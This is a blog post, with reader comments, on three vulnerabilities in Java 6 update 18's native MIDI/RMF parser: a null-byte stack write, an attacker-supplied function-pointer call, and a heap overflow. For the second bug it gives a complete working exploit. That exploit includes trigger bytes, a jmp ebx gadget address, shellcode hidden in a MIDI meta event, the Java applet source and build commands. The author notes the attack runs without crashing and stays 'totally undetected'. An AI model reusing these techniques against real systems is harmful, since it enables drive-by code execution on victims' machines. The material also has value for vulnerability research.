Java midi parse vulnerabilities

Index

  1. Introduction
  2. Basic information on Java
  3. Java and sound files
  4. Null byte write to stack
  5. User supplied function pointer call
  6. Heap overflow
  7. Links

Introduction

A while back I found some vulnerabilities in the way java handles certain audio files. Those problems were fixed in Java update 19, and since anyone who did not yet install Java update 20 is being exploited anyways I figured I might as well write down all the details.

Once it was believed that Java was safe from buffer overflows, and while that might still be the case for the actual Java classes, it is not the case for the underlying native code. For those who weren’t aware, the core Java functionality actually exists of both java class files and C-code containing the code for the native functions. This native functions are vulnerable to everything your average C-code can be vulnerable to. And since the Java dll files are compiled without any protection like ALSR or DEP, any vulnerability is pretty easy to exploit. I poked around in the native code for a bit and found some nice vulnerabilities. 3 of those I will try to explain here.

Basic information on Java

All vulnerabilities I describe here can be found in Java update 18. If you want to to build the exploits yourself you do ofcourse need the JDK rather then the JRE.
Sources for Java update 18 can be found here
I might have a slightly different version and thus some line numbers might differ.

Anyways, if you unpack the Java source you will see a big tree containing lots of interresting directories. The directories we will be looking at are:

  • \j2se\src\share\native\com\sun\media\sound
  • \j2se\src\share\classes\com\sun\media\sound
  • \j2se\src\share\classes\javax\sound\midi

I guess you see the connection, the native directory contains the native code used in the java classes in the classes directory. But only if there is native code for those classes.
The native files we are going to look at are responsible for parsing Midi and RMF files. Rich Music Format is a music file format defined by Beatnik. (see wikipedia) It is used as a wrapper around (among others) midi data.

I will first try to explain how the native code and the java code work together.

For example, if we take a look at MixerSequencer java class which can be found at \j2se\src\share\classes\com\sun\media\sound\MixerSequencer.java you will see on line 1662 the following code

protected native long nOpenRmfSequencer(byte[] rmfData, int length);

This is a function defined in the Java class that is a direct link to a function in the corresponding native code. This function however is private, so we wont be able to call it directly, but later on I will show how we will still be able to use it.

The native code can be found at line 294 of \j2se\src\share\native\com\sun\media\sound\MixerSequencer.c

JNIEXPORT jlong JNICALL
Java_com_sun_media_sound_MixerSequencer_nOpenRmfSequencer(JNIEnv* e, jobject thisObj, jbyteArray rmfData, jint length)
{
.......

As you can see there is a link between the Java classes and the Java native code. The first parameter for the native function is always the Java Environment and the second one is the Java class the function belongs to. After that you have the same parameters the java function takes.
Now we will start looking for vulnerabilities in the native code and when we find one, we will try to trace it back to the Java classes and try to write an applet to exploit it.

On your system the .java files are compiled into .class files and bundled together (mostly) in a big .jar archive which can be found at C:\Program Files\Java\jre6\lib\rt.jar
The native code is compiled into several different dll files that reside in C:\Program Files\Java\jre6\bin\. All the C Code that is in the \media\sound directory ends up in C:\Program Files\Java\jre6\bin\jsound.dll

Java and sound files

You can play sound files in a java applet. You can however not access the com.sun.media.sound classes directly. You need to go through the classes that you are allowed to use which in this case are the javax.sound.midi.* classes. To play a midi file you need to obtain a midi device from the list of available devices on the system. You can however have some influence on what midi device you want to have. I will not go into all the details about this, but it involves going through something called a ‘Service Provider Interfaces’ which is documented here.

Since we are looking at MidiParsing, and the midi parsing from the MixerSequencer packages especially the next part will describe how to get your hands on a valid Java Object of type com.sun.media.sound.MixerSequencer.

All you need to do is create a java .jar package containing your applet code and a special file inside the .jar archive named /META-INF/services/javax.sound.midi.spi.MidiDeviceProvider. This file will be used when you call javax.sound.midi.getDeviceInfo() to get a list of available devices. All you need to do is add the following line to that file:

# Providers for midi devices
com.sun.media.sound.MixerSequencerProvider

and it will see if com.sun.media.sound.MixerSequencerProvider is a valid MidiDeviceProvider. Valid Devices Providers will have to extend certain classes. Anyways, if you try this on a system with a working soundcard, you should be able to get a valid MixerSequencer object. I strongly suggest you read the manual and take a look at the spi classed if you realy need to know what is going on under the hood there.

Once you have one of those objects you can feed it an .midi or a .rmf file and it will parse it when you play it.
There are at least 3 interresting parts of in the midi parsing code the we will take a look at.

There are a few files important while parsing .midi and .rmf files:

  • MixerSequencer.c : Higher level code used in the sequencer.
  • engine\GenSeq.c : Contains most code used for parsing midi and rmf files.
  • engine\GenSong.c : Contains most code used for creating and maintaining the internal GM_Song object.
  • engine\GenSnd.c : Contains the internal GM_Song and some other object definitions.

Null byte write to stack

A very quick scan of the .c files in the com\sun\media\sound\ directory show at least one interesting function

line 122 in MixerSequencer.c:

static void PV_MetaEventCallback(void *threadContext, 
                                              GM_Song *pSong, 
                                              char markerType, 
                                              void *pText, 
                                              INT32 textLength,
                                              short currentTrack)
{
    JNIEnv* e;
    jobject sequencerObj;
    jbyteArray localArray;
    char *pTemp;
    char buffer[1024];
    int i;

    TRACE0(" in PV_MetaEventCallback");

    pTemp = pText;
    for(i=0;i<textLength;i++) {
      buffer[i] = *pTemp++;
    }
.....

This looks like a nice stackbased buffer overflow where we might be able to write more data into the static defined buffer variable then we are suposed to. If we are able to control the INT32 textLength parameter we should be in business.

But, if we take a look at the compiled version of this function in C:\Program Files\Java\jre6\bin\jsound.dll, we notice that the final code does no longer copy everything into the buffer.

sub_6D523240 proc near

var_400= byte ptr -400h
arg_0= dword ptr 8
arg_4= dword ptr 0Ch
arg_8= byte ptr 10h
arg_C= dword ptr 14h
arg_10= dword ptr 18h
arg_14= word ptr 1Ch

push ebp
mov ebp, esp
sub esp, 400h
push ebx
push esi
mov esi, [ebp+arg_0]
mov eax, [esi]
push edi
mov edi, [ebp+arg_10] ; Size
push edi
push esi
mov [ebp+edi+var_400], 0
call dword ptr [eax+2C0h]

You can see that the \00 byte at the end of the string is still being copied into the buffer. So this means that if we can control the size argument of the function we can still write a \00 byte anywhere on the stack. We can still use this in an exploit. We could, for example, modifying object or function pointers on the stack.

If you are wondering how you would find the corresponding function in the .dll, this is how I did it. First, if you look at line 269 of MixerSequencer.c you will see the following code:

GM_SetSongMetaEventCallback(pSong, *(PV_MetaEventCallback), id);

A reference to the function we are interested in is being set as a callback function. This takes places in the function Java_com_sun_media_sound_MixerSequencer_nOpenMidiSequencer. The nice thing about this function is the fact that it can be easily found in the .dll file since you can just look it up by name. A quick scan through that function shows the following interesting code at 0x6D5234E3:

push [ebp+arg_0]
push offset sub_6D523240
push esi
call sub_6D52936B

You can see that this is the only place in the function where we push a function reference on the stack and then call another function. Therefor sub_6D523240 has to be our pointer to PV_MetaEventCallback. We have now succesfully located the function we are interested in.

But when is the function being used you might wonder? Lets take a look at the following lines in a few files:

MixerSequencer.c, line 269, function Java_com_sun_media_sound_MixerSequencer_nOpenMidiSequencer

GM_SetSongMetaEventCallback(pSong, *(PV_MetaEventCallback), id);

\engine\GenSeq.c, line 879

void GM_SetSongMetaEventCallback(GM_Song *theSong, 
                                 GM_SongMetaCallbackProcPtr theCallback, 
                                 INT32 reference)
{
    if (MusicGlobals && theSong)
  {
     theSong->metaEventCallbackPtr = theCallback;
     theSong->metaEventCallbackReference = reference;
  }
}

\engine\GenSeq.c, line 865

static void PV_CallSongMetaEventCallback(void *threadContext, 
                                         GM_Song *pSong, 
                                         char markerType, 
                                         void *pText, 
                                         INT32 textLength, 
                                         short currentTrack)
{
    GM_SongMetaCallbackProcPtr theCallback;

    if (pSong)
  {
      theCallback = pSong->metaEventCallbackPtr;
      if (theCallback)
    {
        (*theCallback)(threadContext, pSong, markerType, 
                       pText, textLength, currentTrack);
    }
  }
}

\engine\GenSeq.c, line 3022, function PV_ProcessMidiSequencerSlice

  GetMIDIevent:
    midi_byte = *midi_stream++;
    if (midi_byte == 0xFF)
    {
      /* Meta Event */
      midi_byte = *midi_stream++;
      switch (midi_byte)
  
      ...
      ...
          // generic text event
      case 0x01:
          // copyright event
      case 0x02:
          // track name
      case 0x03:
          // Lyric event
      case 0x05:
          // Cue point event
      case 0x07:
      // Marker event      
      case 0x06:
        temp_midi_stream = midi_stream;
        value = PV_ReadVariableLengthMidi(&temp_midi_stream); // get length
        
        ...
        ...  
        
        if (pSong->AnalyzeMode == SCAN_NORMAL)
        {
          PV_CallSongMetaEventCallback(threadContext, pSong, midi_byte, 
                                       (void *)temp_midi_stream, value, 
                                       (short)currentTrack);
        }

You will have to trust me when I say that the function PV_ProcessMidiSequencerSlice is being used to parse a midi file when you play it. The object pSong is an object containing lots of information about the sing being played, including a function pointer that should be called when it finds certain meta data in the midi stream. The piece of code you see above is being used to find out what type of midi event we just encountered. As you can see a sequence of 0xFF followed by anything from 0x00 to 0x07 will trigger the call to PV_CallSongMetaEventCallback.
If you trace the function calls you will notice that the textLength field is being read with a function called PV_ReadVariableLengthMidi. This function reads an variable length midi and eventually passes it into the function PV_MetaEventCallback which we can use to write a \00 anywhere on the stack.

More information on midi variable-length fields can be found here.

How to turn this into a working exploit? I’ll leave that to the imagination of the reader, but I have done it so it is certainly possible. Let me give you the midi sequence that I used and have fun with.

00 FF 03 88 7A .. .. ..

This results in size = 00010001111010 = 0x47A = 1146.

User supplied function pointer call

This one less straight forward and might require some swapping through the code. First we look at the internal GM_Song object that is described in engine\GenSnd.h starting at line 991

struct GM_Song
  {
  
  ...
  ...
  
  // these pointers are NULL until used, then they are allocated
  GM_ControlCallbackPtr  controllerCallback;    
  
  ...
  ...

engine\GenSnd.h starting at line 979

struct GM_ControlCallback
  {
    // these pointers are NULL until used, then they are allocated
    GM_ControlerCallbackPtr  callbackProc[MAX_CONTROLLERS]; 
    void  *callbackReference[MAX_CONTROLLERS];
  };

engine\GenSnd.h starting at line 559

#define MAX_CONTROLLERS  128 // max MIDI controllers

An internal GM_Song object has a reference to another object type GM_ControlerCallbackPtr linked to it. The GM_ControlerCallbackPtr object contains 2 arrays, the first contains a list of function pointer and the second array contains callbackReferences.
Now lets see where this is being used.

engine\GenSeq.c starting at line 1024

void GM_SetControllerCallback(GM_Song *theSong, void * reference, 
                              GM_ControlerCallbackPtr controllerCallback, 
                              short int controller)
{
  GM_ControlCallbackPtr pControlerCallBack;
 
  if ( (theSong) && (controller < MAX_CONTROLLERS) )
  {
    pControlerCallBack = theSong->controllerCallback;
    if (pControlerCallBack == NULL)
    { // not allocated yet?
      pControlerCallBack = 
           (GM_ControlCallbackPtr)XNewPtr((INT32)sizeof(GM_ControlCallback));
           
      theSong->controllerCallback = pControlerCallBack;
    }
    if (pControlerCallBack)
    {
      pControlerCallBack->callbackProc[controller] = controllerCallback;
      pControlerCallBack->callbackReference[controller] = (void *)reference;
    }
  }
}

MixerSequencer.c starting at line 282

Java_com_sun_media_sound_MixerSequencer_nAddControllerEventCallback(JNIEnv* e,
                                                              jobject thisObj,
                                                                     jlong id, 
                                                               jint controller)
{
    GM_Song  *pSong = (GM_Song *) (INT_PTR) id;

    GM_SetControllerCallback(pSong, (void *)pSong->userReference,
                             *(PV_ControllerEventCallback), 
                             (short int)controller);
}

Apparently if we can call the java function Java.com.sun.media.sound.MixerSequencer.nAddControllerEventCallback we are able to write data to the GM_ControlCallbackPtr arrays. However the GM_SetControllerCallback functions contains a check to see if we are not trying to write outside the array by checking the controller against MAX_CONTROLLERS.

Now lets us see where the GM_ControlCallbackPtr object is being used.

engine/GenSeq.c starting at line 1005

static void PV_CallControlCallbacks(void *threadContext, GM_Song *pSong, 
                                    short int channel, short int track, 
                                    short int controler, unsigned short value)
{
    GM_ControlCallbackPtr pControlerCallBack;
    GM_ControlerCallbackPtr callback;
    void          *reference;

    pControlerCallBack = pSong->controllerCallback;
    if (pControlerCallBack)
  {
      callback = pControlerCallBack->callbackProc[controler];
      reference = pControlerCallBack->callbackReference[controler];

      if (callback)
    { // call user function
        (*callback)(threadContext, pSong, reference, 
                    channel, track, controler, value);
    }
  }
}

Nice, the is no check for the controler parameter to see if it is bigger then MAX_CONTROLLERS. So if we provide a controler parameter that is bigger then MAX_CONTROLLERS we will read from the callbackReference array rather then the callbackProc array.

Let us check to see if we can indeed call this function with a controller that is bigger then MAX_CONTROLLERS.

engine/GenSeq.c in function PV_ProcessMidiSequencerSlice lines 3253 and 3290:

  case 0xB0:          // ¥¥ Control Change
    controler = *midi_stream++; // control #
    
    ...

    midi_byte = *midi_stream++; // controller value

    ...

    if (pSong->AnalyzeMode == SCAN_NORMAL)
    {
      PV_CallControlCallbacks(threadContext, pSong, MIDIChannel, 
                              (INT16)currentTrack, (INT16)controler, 
                              (UINT16)midi_byte);
    }
          
    ...

What you see here is the midi parsing function once again. A 0xB0 byte in a midi file signals a controller change. The following byte is the value of the controller. This controler number is used without checking in the PV_CallControlCallbacks function. The max value of a byte is ofcourse 0xFF = 255.

What does this mean? Well, if we parse a midi file that has a 0xB0 0x80 controller sequence in it, the PV_ProcessMidiSequencerSlice function will call the PV_CallControlCallbacks with 0x80 as value for the (INT16)controler parameter. The PV_CallControlCallbacks function will use the controller parameter to read from the callbackProc array. However, since 0x80 is bigger then the size of the callbackProc array, we are actually reading from the callbackReference array!

How usefull is that? That does ofcourse depends on the data in the callbackReference array. Can we control that data there? Lets take a closer look again at the functions used to fill the data.

engine\GenSeq.c starting at line 1024

void GM_SetControllerCallback(GM_Song *theSong, void * reference, 
                              GM_ControlerCallbackPtr controllerCallback, 
                              short int controller)
{
  GM_ControlCallbackPtr pControlerCallBack;
 
  if ( (theSong) && (controller < MAX_CONTROLLERS) )

  ...
      pControlerCallBack->callbackProc[controller] = controllerCallback;
      pControlerCallBack->callbackReference[controller] = (void *)reference;

Where does the void * reference parameter come from?

MixerSequencer.c starting at line 282

Java_com_sun_media_sound_MixerSequencer_nAddControllerEventCallback(JNIEnv* e, 
                                     jobject thisObj,jlong id, jint controller)
{
    GM_Song     *pSong = (GM_Song *) (INT_PTR) id;
    
     ...    
     
    GM_SetControllerCallback(pSong, (void *)pSong->userReference, 
                             *(PV_ControllerEventCallback), 
                             (short int)controller);

So the Java function is called with an pointer to an GM_Song object, and the userReference property of that object is being used a the reference parameter to fill our callbackReference array. So we realy like to control that userReference property.

Lets see where the userReference comes from.

MixerSequencer.c starting at line 177

Java_com_sun_media_sound_MixerSequencer_nOpenMidiSequencer
(JNIEnv* e, jobject thisObj, jbyteArray midiData, jint length) {
    GM_Song           *pSong = NULL;
 
    ...

    XShortResourceID  id;

    ...
    
    id = getMidiSongCount();
    
    ...
    
    pSong->userReference = (void *) ((UINT_PTR) id);

and Utilities.c line 16

static XShortResourceID midiSongCount = 0; 
                 // everytime a new song is loaded, this increments

XShortResourceID getMidiSongCount() {
    return ++midiSongCount;
}

Apparently getMidiSongCount returns a global counter that keeps record of how many songs have been played. And to make matters even worse:
in Utilities.c line 16

    typedef INT16     XShortResourceID;

So getMidiSongCount would never return anything higher then 0xFFFF

Does this mean that we cant get anything usefull in the callbackReference array? No, luckely there is another function that can we can use to (eventually) control the userReference property. Take a look at the following function:

in MixerSequencer.c line 294

Java_com_sun_media_sound_MixerSequencer_nOpenRmfSequencer(JNIEnv* e, 
                                                    jobject thisObj, 
                                                 jbyteArray rmfData, 
                                                         jint length)
{
    GM_Song       *pSong = NULL;

    ...
    
    jint        id; 
    
    ...
    
    id = getMidiSongCount();.

    ...

    // look for first song. RMF files only contain one SONG resource
    // bad file if this failed and no xSong
    xSong = (SongResource*)XGetIndexedResource(ID_SONG, (INT32*)(&id), 
                                               0, NULL, (INT32*)(&length)); 
                                               // fails for bad file

    ...

    pSong->userReference = (void *) ((UINT_PTR) id);

You can see that, although it looks simulair to the nOpenMidiSequencer function, there is another function call XGetIndexedResource that receives a reference to the id variable as a parameter. If we follow this function it takes us deeper into all the functions that are used for RMF parsing, so I guess its best to write down a quick description of RMF files.

The layout of RMF is roughly like this:

[RMFHeader]
[RMFBlock]
[RMFBlock] 
[RMFBlock] etc etc

The RMFHeader:

[RMFHeaderMagic] = DWord = "IREZ"
[RMFVersionNumber] = DWord = "00000001"
[NumberOfRMFBlocks] = DWord

and RMFBlock looks like this:

[OffsetToNextBlock] = DWord
[BlockType] = DWord
[BlockID] = DWord
[BlockName] = Pascal String (first byte holds string length, then the actual string) 
[BlokDataSize] = DWord
[BlockData] = ....

There are several different BlockTypes. One of them is ‘SONG’ and it contains some global information about the type of song the RMF file contains. Another one is ‘Midi’ that contains Midi data. There are also blocks that can contain encrypted or compressed midi data or both. But for now we are only interrested in the SONG and Midi blocks.
We are only interrested in the blocks of type SONG and Midi. We are going to use the SONG block to control the data written to the callbackReference array, and then we use a Midi block to trigger the vulnerability.

Lets do a quick (real quick, you might want to dive deeper into this) trace of what happens when we call:

xSong = (SongResource*)XGetIndexedResource(ID_SONG, (INT32*)(&id),
                                           0, NULL, (INT32*)(&length));

First of all:
engine\X_Formats.h line 133

  ID_SONG = FOUR_CHAR('S','O','N','G'), //  'SONG'

engine\X_API.c line 3875

XPTR XGetIndexedResource(XResourceType resourceType, XLongResourceID *pReturnedID, 
                         INT32 resourceIndex, void *pResourceName, 
                         INT32 *pReturnedResourceSize)
{
  INT32 count;
  XPTR  pData;

  pData = NULL;
  if (PV_IsAnyOpenResourceFiles())
  {
    for (count = 0; count < resourceFileCount; count++)
    {
      pData = XGetIndexedFileResource(openResourceFiles[count], resourceType,
                                      pReturnedID, resourceIndex, 
                                      pResourceName, pReturnedResourceSize);
                                      
     ...

This might look a bit weird, but for some reason the X_API holds an array of open Resources, and just looks through all of them to find what we are looking for. The id we used as parameter in the call to XGetIndexedResource is named XLongResourceID *pReturnedID. If we dig deeper we will see why:

engine\X_API.c line 3939

XPTR XGetIndexedFileResource(XFILE fileRef, XResourceType resourceType, 
                             XLongResourceID *pReturnedID, 
                             INT32 resourceIndex, void *pResourceName, 
                             INT32 *pReturnedResourceSize)
{
  ...

  INT32       data, next;
  INT32       count, total, typeCount;

  ...
    
  if (PV_XFileValid(fileRef))
  {
    if (pReference->pCache)
    {
    
    ...
     
    }
    else
    {
      XFileSetPosition(fileRef, 0L);    // at start
      if (XFileRead(fileRef, &map, (INT32)sizeof(XFILERESOURCEMAP)) == 0)
      {
        if (XGetLong(&map.mapID) == XFILERESOURCE_ID)
        {
          next = (INT32)sizeof(XFILERESOURCEMAP);
          total = XGetLong(&map.totalResources);
          for (count = 0; (count < total) && (err == 0); count++)
          {
            err = XFileSetPosition(fileRef, next); // at start
            if (err == 0)
            {
              err = XFileRead(fileRef, &next, (INT32)sizeof(INT32)); 
                                                           // get next pointer
              next = XGetLong(&next);
              if (next != -1L)
              {
                err = XFileRead(fileRef, &data, (INT32)sizeof(INT32)); 
                                                                   // get type
                if ((XResourceType)XGetLong(&data) == resourceType)
                {
                  if (resourceIndex == typeCount)
                  {
                    err = XFileRead(fileRef, pReturnedID, (INT32)sizeof(INT32)); 
                                                                     // get ID
                    *pReturnedID = (XLongResourceID)XGetLong(pReturnedID);

Short version:

  1. Is this a valid fileref?
  2. Is this fileref cached? It is not, since we feed it an byte array which doesnt need to be cached unlike files.
  3. Move to the start of the fileref.
  4. Read the IREZ header block and check if it is indeed an IREZ block.
  5. Read DWord that contains the total amount of RMFBlocks in this resource.
  6. For each RMFBlock in the resource:
    1. Read DWord that contains the location of the next RMFBlock.
    2. Check if the RMFBlockType is the BlockType that we are looking for.
    3. If we didnt want the first block of this type, did we arive at the right one yet?
    4. Read DWord that contains RMFBlocksID.
    5. Write the RMFBlockID into the pReturnedID parameter
    6. not on this snippet: do a whole lot more and return when we found the right block.

So what good does that do us? Well, the userReference property of the pSong object for an RMF File is actually the RMFBlockID of the first SONG block found in the RMFFile. So what we should be able to do now is:

  1. Create a RMF file with an SONG RMFBlock
  2. Set the BlockID of the SONG block to the address of a function we want to call
  3. Add a Midi RMFBlock to the file
  4. Put some valid midi data in the RMFBlock data (midi headers etc)
  5. Add a controller change byte sequence to the Midi data with a controller bigger then 0x7F, lets say we use 0x80
  6. Let the MixerSequencer java class open the RMFFile with the nOpenRmfSequencer function, this sets the userReference property to our RMFBlockID
  7. Add a controller callback function to the GM_ControlCallbackPtr arrays by calling the nAddControllerEventCallback function in the MixerSequencer class
  8. Let the MixerSequencer play the RMF file

Some of those steps might look hard, since they involve calling java functions in non public classes. But I will step through them pretty quickly to show that things are rather easy.

First, opening an RMF file with then MixerSequencer.nOpenRmfSequencer function:
If you use the javax.sound.midi.MidiSystem.getMidiDevice with the MixerSequencerProvider info, you will get a javax.sound.midi.MidiDevice as result. You can cast this into an javax.sound.midi.Sequencer object. The Sequencer Class is an interface class thats needs to be implemented by another class.

public interface Sequencer extends MidiDevice {

The MixerSequencer Class implements the Sequencer class:

class MixerSequencer extends AbstractPlayer implements Sequencer{

So you can now call all the functions defined in the javax.sound.midi.Sequencer and you will end up in the MixerSequencer class. For example: The Sequencer class defines a function public void setSequence(InputStream stream). If we follow this into the MixerSequencer class we see this:
MixerSequencer.java line 275

    public synchronized void setSequence(InputStream stream) 
                             throws IOException, InvalidMidiDataException {

...

  MidiFileFormat fileFormat = MidiSystem.getMidiFileFormat(stream); 
                 // can throw IOException, InvalidMidiDataException
  int type = fileFormat.getType();
  int resolution = fileFormat.getResolution();

  ...

  // get the midi data into a byte array
  midiData = getBytesFromFileStream(stream,fileFormat);
  if ( (midiData == null) || (midiData.length == 0) ) {
      throw new IOException("Failed to read data from stream.");
  }

  ...

  // create a MIDI sequencer if it's a MIDI type 0 or type 1 file
  if ( (type == MIDI_TYPE_0) || (type == MIDI_TYPE_1) ) {
      id = 0;
      if (resolution == MidiFileFormat.UNKNOWN_LENGTH) {
    // seems to be RMF
    id = nOpenRmfSequencer(midiData,midiData.length);

Well, that seems to solve problem number one, all we need to do is make sure that the call to MidiSystem.getMidiFileFormat(stream) returns the right MidiFileFormat.
Lets take a look at that function:
MidiSystem.java line 602

    public static MidiFileFormat getMidiFileFormat(InputStream stream)
  throws InvalidMidiDataException, IOException {

  List providers = getMidiFileReaders();
  MidiFileFormat format = null;

  for(int i = 0; i < providers.size(); i++) {
      MidiFileReader reader = (MidiFileReader) providers.get(i);
      try {
    format = reader.getMidiFileFormat( stream ); // throws IOException
    break;
      } catch (InvalidMidiDataException e) {
    continue;
      }
  }

So the function tries to get hold of some MidiFileReaderProviders using SPI again. The default available MidiFileReaders can be found in C:\Program Files\Java\jre6\lib\resources.jar in the file META-INF\services\javax.sound.midi.spi.MidiFileReader. There are two file readers defined by default:

# Providers for midi sequences
com.sun.media.sound.StandardMidiFileReader
com.sun.media.sound.RmfFileReader

The nice part is that the com.sun.media.sound.StandardMidiFileReader will return an InvalidMidiDataException exception becuase it does not find the midi header magic at the beginning of the file:
StandardMidiFileReader.java line 94

	    int magic = dis.readInt();
	    if( !(magic == MThd_MAGIC) ) {
		// not MIDI
		throw new InvalidMidiDataException("not a valid MIDI file");
	    }

The call into the com.sun.media.sound.StandardMidiFileReader failed and now the ball goes to the com.sun.media.sound.RmfFileReader class. This class ofcourse looks for the IREZ file start and returns the correct MidiFileFormat settings to us. So in the end when we call Sequencer.setSequence we will call the nOpenRmfSequencer(midiData,midiData.length) function.

The same goes for the nAddControllerEventCallback function in the MixerSequencer class. This function is being called from the Sequencer.addControllerEventListener function, all we need is a valid ControllerEventListener object. Such an object can be easily created by adding the following class to your applet:

import javax.sound.midi.*;

public class MyController implements ControllerEventListener {
     
  public MyController() {
  	
  }
  
  public void controlChange(ShortMessage event) {
  }

}  // close inner class

So Now we have everything we need. We have the RMF that puts the correct id in the callbackReference array, and contains an invalid midi block that will cauuse the midi parser to take a function pointer from the callbackReference array and not from the callbackProc array.

Now there is only the small matter of the payload. What would you want to use as a function pointer? Well, Java doesnt have DEP so you could just use some heapspray and jump into that. But there are nicer ways to do this. Lets see where in the source we try to call the function pointer:

jsound.dll at 0x6D52AC3B

.text:6D52AC3B     mov     eax, [edi+40h]
.text:6D52AC3E     test    eax, eax
                   ;Does pSong->controllerCallback exists?
.text:6D52AC40     movzx   cx, byte ptr [ebp+arg_4+3]
                   ; ebp+arg_4+3 is the UBYTE controler variable
.text:6D52AC45     jz      loc_6D52AE15
.text:6D52AC4B     movsx   ecx, cx
.text:6D52AC4E     mov     edx, [eax+ecx*4]
                   ; eax = base of the callbackProc array
                   ; eax+ecx*4 is suposed to be a callback function pointer
                   ; but since we provider an ecx bigger then 0x7F we are 
                   ; actually reading from the callbackReference array
.text:6D52AC51     test    edx, edx
.text:6D52AC53     jz      loc_6D52AE15
.text:6D52AC59     movzx   si, byte ptr [ebp+var_C]
.text:6D52AC5E     push    esi
.text:6D52AC5F     movzx   si, byte ptr [ebp+arg_4+3]
.text:6D52AC64     push    esi
.text:6D52AC65     push    [ebp+var_8]
.text:6D52AC68     push    [ebp+var_10]
.text:6D52AC6B     push    dword ptr [eax+ecx*4+200h]
                   ; read the reference
.text:6D52AC72     push    edi
.text:6D52AC73     push    [ebp+arg_0]
.text:6D52AC76     call    edx                     
                   ; Call the callback function.

Although it does not show in this piece, the ebx register points to the current location in the midi stream. So if we pick an address that does jmp ebx we will simply jump back into the midi stream. Then we can put our shellcode in the midi stream and we dont have to use a heapspray. Unfortunately jmp ebx is not a frequently used instruction, but then again, its only 2 bytes (FF E3). If we could find those bytes anywhere we can just jump in the middle of the normal instructions and fake a jmp ebx instruction. As it turns out there is a FF E3 byte sequence located at 0x6d53cb6d in the jsound.dll. Its in the .rdata section, but who cares :)

I thought it would also be a nice touch to hide the shellcode inside a valid midi meta event so that the RMF file is still a valid file. When we jump to ebx we end at the beginning of a new midi event. Midi events start of with an variable length delta time from the previous event followed by event data. In this case we'll be using the following sequence:

38 FF 02 c9 50 51 52 53 56 57

This translates in midi terms to:

38             = Variabel length delta time.
FF             = Midi Meta event
02             = Meta event type 02 = Copyright notice 
c9 50          = Variable length Meta Event Length = 10010011010000 = 9424
51 52 53 56 57 = Meta Event data...

Now lets see how our computer sees this:

38ff            cmp     bh,bh
02c9            add     cl,cl
50              push    eax
51              push    ecx
52              push    edx
53              push    ebx
56              push    esi
57              push    edi

So this gives us 9424 bytes for our shellcode... That should be more then enough I'd say. The nice thing about this exploit is that since we used a jmp and nothing bad happened until we reach our shellcode, we can do what we want and simply return to the original java code. This means we can trigger this exploit without anything crashing and thus stay totally undetected.

I added a silly shellcode in my POC, it calls WinExec with calc.exe, and then increases the ebx so it points just after our shellcode meta event. The shellcode uses a hardcoded address for WinExec, but feel free to change anything there if you wish.

The RMF file I used in the POC has the shellcode at 0x94 and the jmp ebx address is located at 0x14.

The final java code for this exploit looks like this:

import java.applet.Applet;
import java.awt.Graphics;
import java.io.*;

import java.net.*;

import javax.sound.midi.*;
import com.sun.media.sound.*;
import javax.sound.midi.*;   

 
public class MixerMidiApplet extends Applet {

  Sequencer sequencer = null;
  Sequence mySeq = null;    
           
  @Override
  public void start() {
    	
     //What midi file do we need to play.. ?
         	    
    String filename = getParameter("MIDIFILE");
       
    // Main code, its in a try thanks to all the calls that 
    // might theoretically go wrong.
    try {
      // Get a list of midi devices installed. We added our own device 
      // (well actually only a device provider) that returns a 
      // MixerSequencer. Another option would be to use the 
      // default RealtimeSequencer and then use a RMF midifile, 
      // that way the RealtimeSequencer will be using a MixerSequencer.
      // But then we need our own MidiFileReader and return 
      // the correct MidiFile info, this is much easier :)
      MidiDevice.Info[] infos = MidiSystem.getMidiDeviceInfo();
      
      // infos[0] should be our MixerSequencerProvider
      MidiDevice mixer = MidiSystem.getMidiDevice(infos[0]);
      
      // Turn it into a sequencer
      sequencer = (Sequencer)mixer;

      // Open it      
      sequencer.open();
                
      // Get the input stream from the midi file so we 
      // can use that in setSequencer
      InputStream midistream = getClass().getResourceAsStream(filename);

      //We need to convert the InputStream to an byteArrayInputStream 
      // to avoid 'ERROR! java.io.IOException: mark/reset not supported'
      // exceptions
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      byte[] buf = new byte[1024];
      int c;
      while((c = midistream.read(buf)) != -1) {
      	bos.write(buf, 0, c);
      }
      
      ByteArrayInputStream bamidistream = new ByteArrayInputStream(bos.toByteArray());

      // This will call nOpenRmfSequencer wich will the RMF SONG BlockID
      // as our pSong->userReference
      sequencer.setSequence(bamidistream);

      // We add a controler at the first array field.
      MyController mc = new MyController();
      
      // This will fil the right tables, and add our newly found 
      // SONG id (in the .rmf file) where we want it.
      sequencer.addControllerEventListener(mc, new int[] {0});

      // Start playing the midi file, then find a nice 
      // 00 B0 80 00 secquence and make us happy 
      sequencer.start();
     
    } catch (Exception ex) {
        System.out.println("ERROR! " + ex);
    }

  }
    
    public void run() {
        
    }    

}

You can download the whole package, including .RMF file here. Unpack the .zip file somewhere and then open the Start.html with any browser that supports java. Ofcourse dont forget to make sure you have the right (update 18) version. The source codes for the java files are in the .jar file, but you need to keep it packed otherwise java cant find the /META-INF/services/javax.sound.midi.spi.MidiDeviceProvider file.
If you want to build it yourself, go ahead and unpack the jar file into a directory called MixerMidiApplet. Change what ever you wish and then use the following commands (with JDK installed) to build the java classes and create the .jar file

cd MixerMidiApplet
"c:\Program Files\Java\jdk1.6.0_18\bin\javac.exe" MixerMidiApplet.java
cd ..
"c:\Program Files\Java\jdk1.6.0_18\bin\jar.exe" cvf MixerMidiApplet.jar -C MixerMidiApplet .

For an working example check here, remember it should only work with java 6 update 18 at the moment. It is ofcource easy to make it so it works for all older java versions, but im too lazy for that.

Heap overflow

Ohw, there is also a int wrap during heap allocations size calculations that result in a heap overflow.
The vulnerability exists in the way the RMFBlockSize field is handled. Feel free to look that one up yourself :)

Links

Comments (6)

malloryMay 25th, 2010 at 14:08

good, Thanks.

jonMay 27th, 2010 at 18:43

Great work :)
The attention to detail in each bug is a great plus, Cheers!

j00ruAugust 8th, 2010 at 13:13

GJ on the discovery and explanation! ;>

Ivey CantaraMarch 16th, 2011 at 20:27

as soon as I observed this internet site I went on reddit to share some of the love with them.

TrevorJune 11th, 2011 at 6:15

I am trying to reproduce the vuln but I get “ERROR! java.lang.ClassCastException: com.sun.media.sound.MidiOutDevice cannot be cast to javax.sound.midi.Sequencer
” on tbe line “sequencer = (Sequencer)mixer;” when the jar y launched (from IE), tested on 1.6.0.18, and a few others and all show the same.

Any advice?

ZukSeptember 5th, 2011 at 23:09

Very nice! Thank you!

Leave a comment

Your comment

Spam protection by WP Captcha-Free